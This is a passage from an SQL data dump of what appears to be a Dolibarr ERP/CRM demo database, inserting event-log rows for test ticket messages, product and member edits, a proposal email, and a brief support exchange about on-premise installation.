17:52:17','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(365,'365',NULL,1,'2019-10-04 17:52:39',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:52:39','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(366,'366',NULL,1,'2019-10-04 17:52:53',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:52:53','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(367,'367',NULL,1,'2019-10-04 17:53:13',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:53:13','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(368,'368',NULL,1,'2019-10-04 17:53:26',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:53:26','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(369,'369',NULL,1,'2019-10-04 17:53:48',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:53:48','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(370,'370',NULL,1,'2019-10-04 17:54:09',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:54:09','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(371,'371',NULL,1,'2019-10-04 17:54:28',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:54:28','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(372,'372',NULL,1,'2019-10-04 17:55:43',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:55:43','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(373,'373',NULL,1,'2019-10-04 17:56:01',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:56:01','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(374,'374',NULL,1,'2019-10-04 18:00:32',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 18:00:32','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(375,'375',NULL,1,'2019-10-04 18:00:58',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 18:00:58','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(376,'376',NULL,1,'2019-10-04 18:11:30',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 18:11:30','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(377,'377',NULL,1,'2019-10-04 18:12:02',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 18:12:02','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fffffff',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(378,'378',NULL,1,'2019-10-04 18:49:30',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 18:49:30','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'aaa',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(379,'379',NULL,1,'2019-10-04 19:00:22',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 19:00:22','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fff',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(380,'380',NULL,1,'2019-10-04 19:24:20','2019-10-04 19:24:20',40,'AC_PROPAL_SENTBYMAIL','Email sent by Alice Adminson To NLTechno','2019-10-04 19:24:20','2021-04-15 10:22:55',12,NULL,6,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nSender: Alice Adminson <aadminson@example.com>
\nReceiver(s): NLTechno <notanemail@nltechno.com>
\nEmail topic: Envoi de la proposition commerciale PR1909-0032
\nEmail body:
\nHello
\r\n
\r\nVeuillez trouver, ci-joint, la proposition commerciale PR1909-0032
\r\n
\r\n
\r\nSincerely
\r\n
\r\nAlice - 123
\n
\nAttached files and documents: PR1909-0032.pdf',33,'propal',NULL,'Envoi de la proposition commerciale PR1909-0032','Alice Adminson ',NULL,'NLTechno ',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(381,'381',NULL,1,'2019-10-04 19:30:13',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 19:30:13','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(382,'382',NULL,1,'2019-10-04 19:32:55',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 19:32:55','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'uuuuuu\n\nAttached files and documents: Array',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(383,'383',NULL,1,'2019-10-04 19:37:16',NULL,50,'TICKET_MSG','','2019-10-04 19:37:16','2021-04-15 10:22:55',NULL,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0,100,'',NULL,NULL,'f\n\nFichiers et documents joints: dolihelp.ico',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(384,'384',NULL,1,'2019-10-04 19:39:07',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 19:39:07','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'aaafff\n\nAttached files and documents: dolibarr.gif;doliadmin.ico',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(385,'385',NULL,1,'2019-10-07 12:17:07','2019-10-07 12:17:07',40,'AC_PRODUCT_DELETE','Product PREF123456 deleted','2019-10-07 12:17:07','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct PREF123456 deleted',17,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(386,'386',NULL,1,'2019-10-07 12:17:32','2019-10-07 12:17:32',40,'AC_PRODUCT_DELETE','Product PREF123456 deleted','2019-10-07 12:17:32','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct PREF123456 deleted',18,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(387,'387',NULL,1,'2019-10-08 19:21:07','2019-10-08 19:21:07',40,'AC_PRODUCT_MODIFY','Product ROLLUPABC modified','2019-10-08 19:21:07','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct ROLLUPABC modified',11,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(388,'388',NULL,1,'2019-10-08 21:01:07','2019-10-08 21:01:07',40,'AC_MEMBER_MODIFY','Member Pierre Curie modified','2019-10-08 21:01:07','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMember Pierre Curie modified\nMember: Pierre Curie\nType: Standard members',2,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(389,'389',NULL,1,'2019-10-08 21:01:22','2019-10-08 21:01:22',40,'AC_MEMBER_MODIFY','Member doe john modified','2019-10-08 21:01:22','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMember doe john modified\nMember: doe john\nType: Standard members',3,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(390,'390',NULL,1,'2019-10-08 21:01:45','2019-10-08 21:01:45',40,'AC_MEMBER_MODIFY','Member smith smith modified','2019-10-08 21:01:45','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMember smith smith modified\nMember: smith smith\nType: Standard members',4,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(391,'391',NULL,1,'2019-10-08 21:02:18','2019-10-08 21:02:18',40,'AC_MEMBER_MODIFY','Member Vick Smith modified','2019-10-08 21:02:18','2021-04-15 10:22:55',12,NULL,NULL,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMember Vick Smith modified\nMember: Vick Smith\nType: Standard members',1,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(392,'392',NULL,1,'2019-11-28 15:54:46','2019-11-28 15:54:46',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SI1911-0005 validated','2019-11-28 15:54:47','2021-04-15 10:22:55',12,NULL,NULL,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI1911-0005 validated',21,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(393,'393',NULL,1,'2019-11-28 16:33:35','2019-11-28 16:33:35',40,'AC_PRODUCT_CREATE','Product FR-CAR created','2019-11-28 16:33:35','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct FR-CAR created',24,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(394,'394',NULL,1,'2019-11-28 16:34:08','2019-11-28 16:34:08',40,'AC_PRODUCT_DELETE','Product ppp deleted','2019-11-28 16:34:08','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct ppp deleted',14,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(395,'395',NULL,1,'2019-11-28 16:34:33','2019-11-28 16:34:33',40,'AC_PRODUCT_MODIFY','Product FR-CAR modified','2019-11-28 16:34:33','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct FR-CAR modified',24,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(396,'396',NULL,1,'2019-11-28 16:34:46','2019-11-28 16:34:46',40,'AC_PRODUCT_MODIFY','Product FR-CAR modified','2019-11-28 16:34:46','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct FR-CAR modified',24,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(397,'397',NULL,1,'2019-11-28 16:36:56','2019-11-28 16:36:56',40,'AC_PRODUCT_MODIFY','Product POS-CAR modified','2019-11-28 16:36:56','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-CAR modified',24,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(398,'398',NULL,1,'2019-11-28 16:37:36','2019-11-28 16:37:36',40,'AC_PRODUCT_CREATE','Product POS-APPLE created','2019-11-28 16:37:36','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-APPLE created',25,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(399,'399',NULL,1,'2019-11-28 16:37:58','2019-11-28 16:37:58',40,'AC_PRODUCT_MODIFY','Product POS-APPLE modified','2019-11-28 16:37:58','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-APPLE modified',25,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(400,'400',NULL,1,'2019-11-28 16:38:44','2019-11-28 16:38:44',40,'AC_PRODUCT_CREATE','Product POS-KIWI created','2019-11-28 16:38:44','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-KIWI created',26,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(401,'401',NULL,1,'2019-11-28 16:39:21','2019-11-28 16:39:21',40,'AC_PRODUCT_CREATE','Product POS-PEACH created','2019-11-28 16:39:21','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-PEACH created',27,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(402,'402',NULL,1,'2019-11-28 16:39:58','2019-11-28 16:39:58',40,'AC_PRODUCT_CREATE','Product POS-ORANGE created','2019-11-28 16:39:58','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-ORANGE created',28,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(403,'403',NULL,1,'2019-11-28 17:00:28','2019-11-28 17:00:28',40,'AC_PRODUCT_MODIFY','Product APPLEPIE modified','2019-11-28 17:00:28','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct APPLEPIE modified',4,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(404,'404',NULL,1,'2019-11-28 17:00:46','2019-11-28 17:00:46',40,'AC_PRODUCT_MODIFY','Product PEARPIE modified','2019-11-28 17:00:46','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct PEARPIE modified',2,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(405,'405',NULL,1,'2019-11-28 17:01:57','2019-11-28 17:01:57',40,'AC_PRODUCT_MODIFY','Product POS-APPLE modified','2019-11-28 17:01:57','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-APPLE modified',25,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(406,'406',NULL,1,'2019-11-28 17:03:14','2019-11-28 17:03:14',40,'AC_PRODUCT_CREATE','Product POS-Eggs created','2019-11-28 17:03:14','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-Eggs created',29,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(407,'407',NULL,1,'2019-11-28 17:04:17','2019-11-28 17:04:17',40,'AC_PRODUCT_MODIFY','Product POS-Eggs modified','2019-11-28 17:04:17','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-Eggs modified',29,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(408,'408',NULL,1,'2019-11-28 17:09:14','2019-11-28 17:09:14',40,'AC_PRODUCT_CREATE','Product POS-Chips created','2019-11-28 17:09:14','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-Chips created',30,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(409,'409',NULL,1,'2019-11-28 17:09:54','2019-11-28 17:09:54',40,'AC_PRODUCT_MODIFY','Product POS-Chips modified','2019-11-28 17:09:54','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-Chips modified',30,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(410,'410',NULL,1,'2019-11-28 18:46:20','2019-11-28 18:46:20',40,'AC_PRODUCT_MODIFY','Product POS-APPLE modified','2019-11-28 18:46:20','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-APPLE modified',25,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(411,'411',NULL,1,'2019-11-28 18:59:29','2019-11-28 18:59:29',40,'AC_PRODUCT_MODIFY','Product PEARPIE modified','2019-11-28 18:59:29','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct PEARPIE modified',2,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(412,'412',NULL,1,'2019-11-28 19:02:01','2019-11-28 19:02:01',40,'AC_PRODUCT_MODIFY','Product POS-CARROT modified','2019-11-28 19:02:01','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-CARROT modified',24,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(413,'413',NULL,1,'2019-11-28 19:09:50','2019-11-28 19:09:50',40,'AC_PRODUCT_MODIFY','Product PEARPIE modified','2019-11-28 19:09:50','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct PEARPIE modified',2,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(414,'414',NULL,1,'2019-11-28 19:12:50','2019-11-28 19:12:50',40,'AC_PRODUCT_MODIFY','Product PEARPIE modified','2019-11-28 19:12:50','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct PEARPIE modified',2,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(415,'415',NULL,1,'2019-11-29 12:46:29','2019-11-29 12:46:29',40,'AC_TICKET_CREATE','Ticket TS1911-0004 created','2019-11-29 12:46:29','2021-04-15 10:22:55',12,NULL,4,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nTicket TS1911-0004 created',6,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(416,'416',NULL,1,'2019-11-29 12:46:34','2019-11-29 12:46:34',40,'AC_TICKET_MODIFY','Ticket TS1911-0004 read by Alice Adminson','2019-11-29 12:46:34','2021-04-15 10:22:55',12,NULL,4,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nTicket TS1911-0004 read by Alice Adminson',6,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(417,'417',NULL,1,'2019-11-29 12:46:47','2019-11-29 12:46:47',40,'AC_TICKET_ASSIGNED','Ticket TS1911-0004 assigned','2019-11-29 12:46:47','2021-04-15 10:22:55',12,NULL,4,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nTicket TS1911-0004 assigned\nOld user: None\nNew user: Commerson Charle1',6,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(418,'418',NULL,1,'2019-11-29 12:47:13',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #5gvo9bsjri55zef9] New message','2019-11-29 12:47:13','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'Where do you want to install Dolibarr ?
\r\nOn-Premise or on the Cloud ?',6,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(419,'419',NULL,1,'2019-11-29 12:50:45','2019-11-29 12:50:45',40,'AC_TICKET_CREATE','Ticket TS1911-0005 créé','2019-11-29 12:50:45','2021-04-15 10:22:55',NULL,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0,-1,'',NULL,NULL,'Auteur: \nTicket TS1911-0005 créé',7,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(420,'420',NULL,1,'2019-11-29 12:52:32','2019-11-29 12:52:32',40,'AC_TICKET_MODIFY','Ticket TS1911-0005 read by Alice Adminson','2019-11-29 12:52:32','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nTicket TS1911-0005 read by Alice Adminson',7,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(421,'421',NULL,1,'2019-11-29 12:52:53','2019-11-29 12:52:53',40,'AC_TICKET_ASSIGNED','Ticket TS1911-0005 assigned','2019-11-29 12:52:53','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nTicket TS1911-0005 assigned\nOld user: None\nNew user: Commerson Charle1',7,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(422,'422',NULL,1,'2019-11-29 12:54:04',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #d51wjy4nym7wltg7] New message','2019-11-29 12:54:04','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'Hi.
\r\nThanks for your interest in using Dolibarr ERP CRM.
\r\nI need more information to give you the correct answer : Where do you want to install Dolibarr. On premise or on Cloud',7,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(423,'423',NULL,1,'2019-11-29 12:54:46',NULL,50,'TICKET_MSG','','2019-11-29 12:54:46','2021-04-15 10:22:55',NULL,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0,100,'',NULL,NULL,'I need it On-Premise.',7,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(424,'424',NULL,1,'2019-11-29 12:55:42',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #d51wjy4nym7wltg7] New message','2019-11-29 12:55:42','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'When used on-premise, you can download and install Dolibarr yourself from ou web portal: https://www.dolibarr.org
